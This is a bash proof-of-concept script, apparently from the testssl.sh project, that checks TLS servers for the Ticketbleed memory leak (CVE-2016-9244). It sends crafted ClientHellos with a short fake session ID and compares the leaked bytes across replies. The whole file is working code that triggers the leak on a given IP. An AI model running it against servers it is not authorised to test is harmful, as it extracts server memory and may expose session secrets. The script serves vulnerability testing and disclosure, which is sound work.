1#!/usr/local/bin/bash
2
3# Fast and reliable POC bash socket implementation of ticketbleed (CVE-2016-9244), see also http://ticketbleed.com/
4# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
5#
6# sockets inspired by http://blog.chris007.de/?p=238
7# ticketbleed inspired by https://blog.filippo.io/finding-ticketbleed/
8#
9###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
10
11[[ -z "$1" ]] && echo "IP is missing" && exit 1
12
13readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
14
15OPENSSL=${OPENSSL:-$(type -p openssl)}
16TIMEOUT=${TIMEOUT:-20}
17
18# insert some hexspeak here :-)
19SID="x00,x00,x0B,xAD,xC0,xDE,"               # don't forget the trailing comma
20
21NODE="$1"
22PORT="${NODE#*:}"
23PORT="${PORT-443}"                           # probably this doesn't make sense
24NODE="${NODE%:*}"                            # strip port if supplied
25TLSV=${2:-01}                                # TLS 1.0=x01  1.1=0x02, 1.2=0x3
26MAXSLEEP=$TIMEOUT
27SOCKREPLY=""
28COL_WIDTH=32
29DEBUG=${DEBUG:-"false"}
30HELLO_READBYTES=${HELLO_READBYTES:-65535}
31
32dec2hex() { printf "x%02x" "$1"; }
33dec2hexB() {
34     a=$(printf "%04x" "$1")
35     printf "x%02s, x%02s" "${a:0:2}" "${a:2:2}"
36}
37
38LEN_SID=$(( ${#SID} / 4))                         # the real length in bytes
39XLEN_SID="$(dec2hex $LEN_SID)"
40
41red=$(tput setaf 1; tput bold)
42green=$(tput bold; tput setaf 2)
43lgreen=$(tput setaf 2)
44brown=$(tput setaf 3)
45blue=$(tput setaf 4)
46magenta=$(tput setaf 5)
47cyan=$(tput setaf 6)
48grey=$(tput setaf 7)
49yellow=$(tput setaf 3; tput bold)
50normal=$(tput sgr0)
51
52send_clienthello() {
53     local -i len_ch=216                          # len of clienthello, excluding TLS session ticket and SID (record layer)
54     local session_tckt_tls="$1"
55     local -i len_tckt_tls="${#1}"
56     local xlen_tckt_tls=""
57
58     len_tckt_tls=$(( len_tckt_tls / 4))
59     xlen_tckt_tls="$(dec2hex $len_tckt_tls)"
60
61     local len_handshake_record_layer="$(( LEN_SID + len_ch + len_tckt_tls ))"
62     local xlen_handshake_record_layer="$(dec2hexB "$len_handshake_record_layer")"
63     local len_handshake_ssl_layer="$(( len_handshake_record_layer + 4 ))"
64     local xlen_handshake_ssl_layer="$(dec2hexB "$len_handshake_ssl_layer")"
65
66     if $DEBUG; then
67          echo "len_tckt_tls (hex):            $len_tckt_tls ($xlen_tckt_tls)"
68          echo "SID:                           $SID"
69          echo "LEN_SID (XLEN_SID)             $LEN_SID ($XLEN_SID)"
70          echo "len_handshake_record_layer:    $len_handshake_record_layer ($xlen_handshake_record_layer)"
71          echo "len_handshake_ssl_layer:       $len_handshake_ssl_layer ($xlen_handshake_ssl_layer)"
72          echo "session_tckt_tls:              $session_tckt_tls"
73     fi
74
75     client_hello="
76# TLS header (5 bytes)
77     ,x16,               # Content type (x16 for handshake)
78     x03, x01,           # TLS Version
79                         # Length Secure Socket Layer follow:
80     $xlen_handshake_ssl_layer,
81# Handshake header
82     x01,                # Type (x01 for ClientHello)
83                         # Length of client hello follows:
84     x00, $xlen_handshake_record_layer,
85     x03, x$TLSV,        # TLS Version
86# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
87     xee, xee, x5b, x90, x9d, x9b, x72, x0b,
88     xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
89     xcf, xbd, x39, x04, xcc, x16, x0a, x85,
90     x03, x90, x9f, x77, x04, x33, xff, xff,
91     $XLEN_SID,          # Session ID length
92     $SID
93     x00, x66,             # Cipher suites length
94# Cipher suites (51 suites)
95     xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
96     x00, x39, x00, x38, x00, x88, x00, x87,
97     xc0, x0f, xc0, x05, x00, x35, x00, x84,
98     xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
99     x00, x16, x00, x13, xc0, x0d, xc0, x03,
100     x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
101     xc0, x1e, x00, x33, x00, x32, x00, x9a,
102     x00, x99, x00, x45, x00, x44, xc0, x0e,
103     xc0, x04, x00, x2f, x00, x96, x00, x41,
104     xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
105     x00, x05, x00, x04, x00, x15, x00, x12,
106     x00, x09, x00, x14, x00, x11, x00, x08,
107     x00, x06, x00, x03, x00, xff,
108     x01,               # Compression methods length
109     x00,               # Compression method (x00 for NULL)
110     x01, x0b,          # Extensions length
111# Extension: ec_point_formats
112     x00, x0b, x00, x04, x03, x00, x01, x02,
113# Extension: elliptic_curves
114     x00, x0a, x00, x34, x00, x32, x00, x0e,
115     x00, x0d, x00, x19, x00, x0b, x00, x0c,
116     x00, x18, x00, x09, x00, x0a, x00, x16,
117     x00, x17, x00, x08, x00, x06, x00, x07,
118     x00, x14, x00, x15, x00, x04, x00, x05,
119     x00, x12, x00, x13, x00, x01, x00, x02,
120     x00, x03, x00, x0f, x00, x10, x00, x11,
121# Extension: SessionTicket TLS
122     x00, x23,
123# length of SessionTicket TLS
124     x00, $xlen_tckt_tls,
125# Session Ticket
126     $session_tckt_tls                       # here we have the comma already
127# Extension: Heartbeat
128     x00, x0f, x00, x01, x01"
129
130     msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
131     socksend "$msg" $TLSV
132}
133
134
135parse_hn_port() {
136     # strip "https", supposed it was supplied additionally
137     grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")"
138
139     # strip trailing urlpath
140     NODE=$(sed -e 's/\/.*$//' <<< "$NODE")
141
142     # determine port, supposed it was supplied additionally
143     grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE")
144}
145
146wait_kill(){
147     pid=$1
148     maxsleep=$2
149     while true; do
150          if ! ps $pid >/dev/null ; then
151               return 0  # didn't reach maxsleep yet
152          fi
153          sleep 1
154          maxsleep=$((maxsleep - 1))
155          test $maxsleep -eq 0 && break
156     done                # needs to be killed
157     kill $pid >&2 2>/dev/null
158     wait $pid 2>/dev/null
159     return 3            # killed
160}
161
162
163socksend() {
164     local len
165
166     data="$(echo -n $1)"
167     if "$DEBUG"; then
168          echo "\"$data\""
169          len=$(( $(wc -c <<< "$data") / 4 ))
170          echo -n "length: $len / "
171          dec2hexB $len
172          echo
173     fi
174     echo -en "$data" >&5
175}
176
177
178sockread_nonblocking() {
179     [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
180     ret=0
181
182     SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" &
183     wait_kill $! $maxsleep
184     ret=$?
185     echo -n -e "$SOCKREPLY"       # this doesn't work as the SOCKREPLY above belngs to a bckgnd process
186     return $ret
187}
188
189sockread() {
190     dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
191}
192
193fixme(){
194     tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
195}
196
197
198fd_socket(){
199     if ! exec 5<> /dev/tcp/$NODE/$PORT; then
200          echo "$(basename $0): unable to connect to $NODE:$PORT"
201          exit 2
202     fi
203}
204
205close_socket(){
206     exec 5<&-
207     exec 5>&-
208     return 0
209}
210
211cleanup() {
212     close_socket
213     echo
214     echo
215     return 0
216}
217
218
219get_sessticket() {
220     local sessticket_str
221     local output
222
223     output="$($OPENSSL s_client -connect $NODE:$PORT </dev/null 2>/dev/null)"
224     if ! grep -qw CONNECTED <<< "$output"; then
225        return 1
226     else
227        sessticket_str="$(awk '/TLS session ticket:/,/^$/' <<< "$output" | awk '!/TLS session ticket/')"
228        sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/  .*$//g' <<< "$sessticket_str" | tr '\n' ',')"
229        sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str"
230        return 0
231    fi
232}
233
234#### main
235
236parse_hn_port "$1"
237
238early_exit=true
239declare -a memory sid_detected
240nr_sid_detected=0
241
242
243# there are different "timeout". Check whether --preserve-status is supported
244if type -p timeout &>/dev/null ; then
245        if timeout --help 2>/dev/null | grep -q 'preserve-status'; then
246            OPENSSL="timeout --preserve-status $TIMEOUT $OPENSSL"
247        else
248            OPENSSL="timeout $TIMEOUT $OPENSSL"
249        fi
250else
251        echo " binary \"timeout\" not found. Continuing without it"
252        unset TIMEOUT
253fi
254
255
256echo
257"$DEBUG" && ( echo )
258echo "##### 1) Connect to determine 1x session ticket TLS"
259# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation
260SESS_TICKET_TLS="$(get_sessticket)"
261if [[ $? -ne 0 ]]; then
262        echo >&2
263        echo -e "$NODE:$PORT ${magenta}not reachable / no TLS${normal}\n " >&2
264        exit 0
265fi
266[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0
267
268trap "cleanup" QUIT EXIT
269"$DEBUG" && ( echo; echo )
270echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID"
271
272# we do 3 client hellos, and see whether different memory is returned
273for i in 1 2 3; do
274     fd_socket $PORT
275
276     "$DEBUG" && echo "$i"
277     send_clienthello "$SESS_TICKET_TLS"
278
279     "$DEBUG" && ( echo; echo )
280     [[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo
281     SOCKREPLY=$(sockread $HELLO_READBYTES)
282
283     if "$DEBUG"; then
284          echo "============================="
285          echo "$SOCKREPLY"
286          echo "============================="
287     fi
288
289     if [[ "${SOCKREPLY:0:2}" == "15" ]]; then
290          echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
291          echo "${green}OK, not vulnerable ${normal} (TLS alert)"
292          break
293     elif [[ -z "${SOCKREPLY:0:2}" ]]; then
294          echo "${green}OK, not vulnerable ${normal} (zero reply)"
295          break
296     elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then
297          # we need to look into this as some servers just respond as if nothing happened
298          early_exit=false
299          "$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
300          if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
301               echo -n "      ServerHello $i -- "
302          else
303               echo -n "      Message type: ${SOCKREPLY:10:6} -- "
304          fi
305          sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID")
306          sid_detected[i]="${SOCKREPLY:88:32}"
307          memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}"
308          if "$DEBUG"; then
309               echo
310               echo "TLS version, record layer: ${SOCKREPLY:18:4}"
311               #echo "Random bytes / timestamp:  ${SOCKREPLY:22:64}"
312               echo "memory:                    ${memory[i]}"
313               echo "Session ID:                ${sid_detected[i]}"
314          fi
315          if grep -q $sid_input <<< "${sid_detected[i]}"; then
316               #echo -n "  (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
317               echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g"
318               echo "${normal})"
319          else
320               echo -n "not expected server reply but likely not vulnerable"
321          fi
322     else
323          echo "TLS record ${SOCKREPLY:0:2} replied"
324          echo -n "Strange server reply, pls report"
325          break
326     fi
327done
328echo
329
330if ! "$early_exit"; then
331     # here we test the replies if a TLS server hello was received >1x
332     for i in 1 2 3 ; do
333          if grep -q $sid_input <<< "${sid_detected[i]}"; then
334               # was our faked TLS SID returned?
335               nr_sid_detected=$((nr_sid_detected + 1))
336          fi
337     done
338     if [[ $nr_sid_detected -eq 3 ]]; then
339          if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then
340               echo "${red}VULNERABLE!${normal}, real memory returned"
341          else
342               echo "${green}not vulnerable ${normal} (same memory fragments returned)"
343          fi
344     else
345          echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know"
346     fi
347fi
348
349exit 0
350
351#  vim:ts=5:sw=5
352
353